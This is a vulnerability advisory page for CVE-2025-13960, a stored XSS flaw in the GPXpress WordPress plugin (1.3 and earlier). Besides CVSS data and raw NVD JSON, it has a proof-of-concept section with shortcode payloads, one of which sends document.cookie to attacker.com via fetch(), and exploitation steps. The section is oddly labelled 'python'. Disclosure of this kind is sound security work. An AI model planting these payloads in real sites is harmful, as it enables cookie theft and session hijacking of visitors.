Security Vulnerability Report
中文
CVE-2025-13960 CVSS 6.4 MEDIUM

CVE-2025-13960

Published: 2025-12-12 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

The GPXpress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gpxpress' shortcode in all versions up to, and including, 1.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GPXpress plugin for WordPress <= 1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress GPXpress <= 1.3 Stored XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Method 1: Via shortcode in post/page content --> [gpxpress src='x' onerror='alert(document.cookie)'] <!-- Method 2: More sophisticated payload --> [gpxpress src='x' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- Method 3: Using various attributes --> [gpxpress src='" onerror="alert(1)" data-x="'] <!-- Exploitation steps: --> <!-- 1. Login to WordPress with contributor account --> <!-- 2. Create/Edit a post or page --> <!-- 3. Insert the malicious shortcode --> <!-- 4. Publish or update the post --> <!-- 5. Any user visiting this page will execute the injected JS -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13960", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:43.957", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GPXpress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gpxpress' shortcode in all versions up to, and including, 1.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gpxpress/tags/1.3/includes/Gpxpress.php#L152", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gpxpress/trunk/includes/Gpxpress.php#L152", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a2bf5c47-11e6-462d-a671-3f5e94e9e7e5?source=cve", "source": "[email protected]"}]}}